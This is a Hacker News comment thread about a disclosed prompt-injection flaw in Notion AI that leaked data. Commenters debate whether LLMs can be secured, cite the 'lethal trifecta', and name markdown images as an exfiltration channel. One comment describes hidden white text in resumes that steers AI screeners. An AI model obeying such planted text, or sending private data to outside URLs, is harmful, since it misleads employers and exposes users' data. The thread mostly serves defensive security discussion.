Securing LLMs is just structurally different. The attack space is "the entirety of the human written language" which is effectively infinite. Wrapping your head around this is something we're only now starting to appreciate.<p>In general, treating LLM outputs (no matter where) as untrusted, and ensuring classic cybersecurity guardrails (sandboxing, data permissioning, logging) is the current SOTA on mitigation. It'll be interesting to see how approaches evolve as we figure out more.
It's structurally impossible. LLMs, at their core, take trusted system input (the prompt) and multiply it against untrusted input from the users and the internet at large. There is no separation between the two, and there cannot be with the way LLMs work. They will always be vulnerable to prompt injection and manipulation.<p>The _only_ way to create a reasonably secure system that incorporates an LLM is to treat the LLM output as completely untrustworthy in all situations. All interactions must be validated against a security layer and any calls out of the system must be seen as potential data leaks - including web searches, GET requests, emails, anything.<p>You can still do useful things under that restriction but a lot of LLM tooling doesn't seem to grasp the fundamental security issues at play.
I’m not convinced LLMs can ever be secured, prompt injection isn’t going away since it’s a fundamental part of how an LLM works. Tokens in, tokens out.
It's pretty simple, don't give llms access to anything that you can't afford to expose. You treat the llm as if it was the user.
> You treat the llm as if it was the user.<p>That's not sufficient. If a user copies customer data into a public google sheet, I can reprimand and otherwise restrict the user. An LLM cannot be held accountable, and cannot learn from mistakes.
I get that but just not entirely obvious how you do that for the Notion AI.
As multi-step reasoning and tool use expand, they effectively become distinct actors in the threat model. We have no idea how many different ways the alignment of models can be influenced by the context (the anthropic paper on subliminal learning [1] was a bit eye opening in this regard) and subsequently have no deterministic way to protect it.<p>1 - <a href="https://alignment.anthropic.com/2025/subliminal-learning/" rel="nofollow">https://alignment.anthropic.com/2025/subliminal-learning/</a>
I’d argue they’re only distinct actors in the threat model as far as <i>where</i> they sit (within which perimeters), not in terms of <i>how they behave</i>.<p>We already have another actor in the threat model that behaves equivalently as far as determinism/threat risk is concerned: human users.<p>Issue is, a lot of LLM security work assumes they function like programs. They don’t. They function like humans, but run where programs run.
Dijkstra, On the Foolishness of "natural language programming":<p><i>[...]It may be illuminating to try to imagine what would have happened if, right from the start our native tongue would have been the only vehicle for the input into and the output from our information processing equipment. My considered guess is that history would, in a sense, have repeated itself, and that computer science would consist mainly of the indeed black art how to bootstrap from there to a sufficiently well-defined formal system. We would need all the intellect in the world to get the interface narrow enough to be usable,[...]</i><p>If only we had a way to tell a computer precisely what we want it to do...<p><a href="https://www.cs.utexas.edu/~EWD/transcriptions/EWD06xx/EWD667.html" rel="nofollow">https://www.cs.utexas.edu/~EWD/transcriptions/EWD06xx/EWD667...</a>
This is @simonw’s Lethal Trifecta [1] again - access to private data and untrusted input are arguably the purpose of enterprise agents, so <i>any</i> external communication is unsafe. Markdown images are just the ones people usually forget about<p>[1] <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/" rel="nofollow">https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/</a>
People have learnt a little while back that you need to use the white hidden text in a resume to make the AI recommend you, There are also resume collecting services which let you buy a set of resumes belonging to your general competition era and you can compare your ai results with them. Its an arms race to get called up for a job interview at the moment.
> People have learnt a little while back that you need to use the white hidden text in a resume to make the AI recommend you ...<p>I would caution against using "white hidden text" within PDF resumes as all an ATS[0] need use in order to make hidden text the same as any other text is preprocess with the poppler[1] project's `pdftotext`. Sophisticated ATS[0] offerings could also use `pdftotext` in a fraud detection role with other document formats as well.<p>0 - <a href="https://en.wikipedia.org/wiki/Applicant_tracking_system" rel="nofollow">https://en.wikipedia.org/wiki/Applicant_tracking_system</a><p>1 - <a href="https://poppler.freedesktop.org/" rel="nofollow">https://poppler.freedesktop.org/</a>
I wouldn't be surprised if people tried to document what LLMs different companies/vendors are using, in order to take advantage of model-biases.<p><a href="https://nyudatascience.medium.com/language-models-often-favor-their-own-text-revealing-a-new-bias-in-ai-e6f7a8fa5959" rel="nofollow">https://nyudatascience.medium.com/language-models-often-favo...</a>
> We responsibly disclosed this vulnerability to Notion via HackerOne. Unfortunately, they said “we're closing this finding as `Not Applicable`”.
Any data that leaves the machines you control, especially to a service like Notion, is already "exfiltrated" anyway. Never trust any consumer grade service without an explicit contract for any important data you don't want exfiltrated. They will play fast and loose with your data, since there is so little downside.
Wow what a coincidence. I just migrated from notion to obsidian today. Looks like I timed it perfectly (or maybe slightly too late?)
IMHO the problem really comes from the browser accessing the URL without explicit user permission.<p>Bring back desktop software.
Sloppy coding to know a link could be a problem and render it anyway. But even worse to ignore the person who tells you you did that.
One more reason not to use Notion.<p>I wonder when there will be awakening to not use SaaS for everything you do. And the sad thing is that this is the behavior of supposedly tech-savvy people in places like the bay area.<p>I think the next wave is going to be native apps, with a single purchase model - the way things used to be. AI is going to enable devs, even indie devs, to make such products.
Unfortunate that Notion does not seem to be taking AI security more seriously, even after they got flak for other data exfil vulns in the 3.0 agents release in September
This, of course, more yelling into the void from decades ago, but companies who promise or imply "safety around your data" and fail should be proportionally punished, and we as a society have not yet effectively figured out how to do that yet. Not sure what it will take.
Public disclosure date is Jan 2025, but should be Jan 2026.